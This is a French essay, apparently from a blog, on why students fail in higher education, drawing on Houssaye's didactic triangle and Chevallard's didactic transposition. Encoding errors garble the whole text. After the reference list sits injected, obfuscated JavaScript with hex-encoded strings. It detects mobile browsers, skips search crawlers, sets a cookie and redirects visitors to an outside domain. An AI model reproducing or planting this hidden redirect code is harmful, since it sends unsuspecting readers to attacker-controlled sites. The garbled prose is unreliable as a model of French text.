La question de la��A�chec dans la��enseignement supA�rieur a dA�jA� fait la��objet de nombreuses A�tudes. Ces travaux ont A�tA�A�le plus souvent centrA�s soit sur les attitudes des A�tudiants, soit sur les mA�thodes pA�dagogiques des enseignants. Il sa��avA?re que parmi ces travaux, axA�s principalement sur les A�tudiants et/ou professeurs, peu se soient attachA�s au troisiA?me terme du triangle didactique de Jean Houssaye [1] : la nature spA�cifique des savoirs enseignA�s A� la��universitA� et dans les hautes A�coles.A� On va essayer briA?vement de les balayer tous les trois.

Le mA�tier da��A�tudiant na��est pas innA� et la��adaptation peut prendre relativement beaucoup de temps. La gestion de la��autonomie,A�et/ouA�da��une vie en kot (logement d’A�tudiant) na��est pas toujours chose facile. Le dA�calage trop grand entre les A�tudes secondaires et supA�rieures peut provoquer un choc, une inadaptation quiA�peut faire partie des causes des nombreux A�checs en premiA?re annA�e. A ceci, il faut ajouter les lacunes dans la mA�thode de travail, une mauvaise orientation et sa prise de conscience tardive, une faible estime de soia��A�PleinA�de facteurs internes peuvent causer la��A�chec de la��A�tudiant. Mais il na��est pas toujoursA�le seul A� responsable A�.

MA?me si les recherches sont souvent plus tournA�es vers les A�tudiants que vers les enseignantsA�surtout du fait de la massification de la��enseignement et des A�checs qui la��ont suivi, les mA�thodes pA�dagogiques des enseignants doivent A?tre A�tudiA�es A�galement.

La pA�dagogie n’a pas autant sa place A� l’universitA� qua��en secondaire. La prioritA� est donnA�e aux cours magistraux et A� la recherche.A� Bien qua��on parle depuis longtemps des pA�dagogies nouvelles, nombreux sont les enseignants universitaires A� continuer les cours magistraux devant des amphis pleins. On observe souvent le cas du prof qui parle pendant deux heures devant des centaines da��A�tudiants qui peuvent dA�crocher au bout da��une demi-heure, cause da��ennui. Ceci dit, la mA�thode magistrale fonctionne trA?s bien face A� un public expert et intA�ressA� mais elle na��est pas vraiment adaptA�e aux dA�butants.

Ensuite, parallA?lement aux difficultA�s plus spA�cifiquement inhA�rentes A� la��A�tudiant ainsi qua��A� celles liA�es aux enseignants, une part de difficultA� peut provenir de la nature mA?me des savoirs enseignA�s.

Nous pouvons dire, par exemple, qua��un enseignant, mA?me sa��il utilise la mA�thode frontale comme expliquA� en haut, est obligA�, par sa pratique, de prA�senter le savoir da��une maniA?re qui en favorise la��accA?s aux A�tudiants. La��enseignant exige du savoir que celui-ci puisse se laisser didactiser, et A�galement que ce savoir se laisse mettre en une forme telle que la��enseignant pourra A�valuer A� objectivement A� sa��il a A�tA� acquis ou non par la��A�tudiant. Chavellard [2] appelle A�a la transposition didactique. Le concept de transposition didactique tente de rendre compte de la maniA?re dont le A� savoir savant A� doit A?tre transformA�, didactisA�, afin de pouvoir A?tre enseignA� A� des A�tudiants. Il sa��agit da��un long processus da��A�puration par lequel A� le producteur du savoir dA�personnalise, dA�contextualise et dA�temporalise le plus possible ses rA�sultats A�, ces derniers devenant ainsi communicables en tant que A� savoirs scolaires A�. En fait, parler da��un A� savoir savant A� qui se transpose en un A� savoir enseignA� A�, au fil de diverses transformations, prA�sente implicitement le savoir comme un objet autonome A� qui on fait subir des mA�tamorphoses.

Les enseignants sont A�galement sujets A� da��autres contraintes qui changent la nature de leur savoir.

Donnons un exemple da��une contrainte da��un professeur de psychologie sociale (cours de premiA?re annA�e) qui se voit confrontA� A� un auditoire da��environ 600 A�tudiants. Lors du premier cours, ce professeur explique aux A�tudiants que, ne disposant pas da��assistant pour la��aider dans la correction da��examens A�crits ni pour la��aider A� faire passer des examens oraux, il na��aura dA?s lors da��autre possibilitA� que de faire un questionnaire A� choix multiples (QCM) en guise da��examen. Or, prA�cise-t-il, un tel type da��examen lui impose de poser un certain type de questions, notamment des questions portant sur des dA�tails. En consA�quence, dit-il, la matiA?re exposA�e au cours va A?tre organisA�e et prA�sentA�e de telle maniA?re A� pouvoir rA�pondre A� la contrainte de son A�valuation par QCM.

Un autre exemple de contrainte, ca��est que les enseignants du supA�rieur, pour la plupart, prA�sentent leur savoir sous la forme d’un texte. Mais cette forme textuelle n’est qu’une forme transitoire du savoir. Dans les textes relevant des sciences de la nature et, encore plus dans ceux qui relA?vent des sciences humaines, une part de ce qui est nA�cessaire pour comprendre le texte est implicite. Comme Eco [3] l’a montrA� A� propos des textes de fiction, c’est au lecteur qu’il revient de combler ces absences. Dans le cas du savoir enseignA�, c’est l’A�tudiant qui doit se prA�senter en lecteur compA�tent et reconstituer ce qui est implicite dans le texte. Pas toujours facile ! Mais cette obligation pour l’A�tudiant est aussi une obligation pour le professeur : il doit construire son texte en attribuant l’implicite en fonction de ce qu’il pense que l’A�tudiant peut comprendre.

En pratique, la��enseignant est donc confrontA� A� une sA�rie de contraintes qui le limitera A� enseigner de telle ou telle faA�on, on peut en citer bien da��autres mais tout ceci pour essayer de montrer combien la��apprentissage et en la��occurrence son A�chec sont complexes et dA�pendent da��une multitude de facteurs qui se chevauchent. Et ceci en nous inspirant du triangle didactique de Houssaye qui dA�finit tout acte pA�dagogique comme la��espace entre trois sommets da��un triangle: la��enseignant, la��A�tudiant, le savoir.

 

 

 

[1] HOUSSAYE (Jean), Le triangle pA�dagogique, Berne, Peter Lang, 1988

[2] CHEVALLARD (Yves), La transposition didactique, du savoir savant au savoir enseignA�, A�ditions La pensA�e sauvage, Grenoble, 1991.

[3] ECO (Umberto), Lector in fabula, Paris, Grasset, 1989.

[4] REY (Bernard), et al., Les caractA�ristiques des savoirs enseignA�s dans les UniversitA�s et les Hautes A�coles, 2003

[5] CLANET (JoA�l), A�tude des organisateurs des pratiques enseignantes A� l’universitA�, Revue des sciences de l’A�ducation, vol. 27, nA�2, p 327-352.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}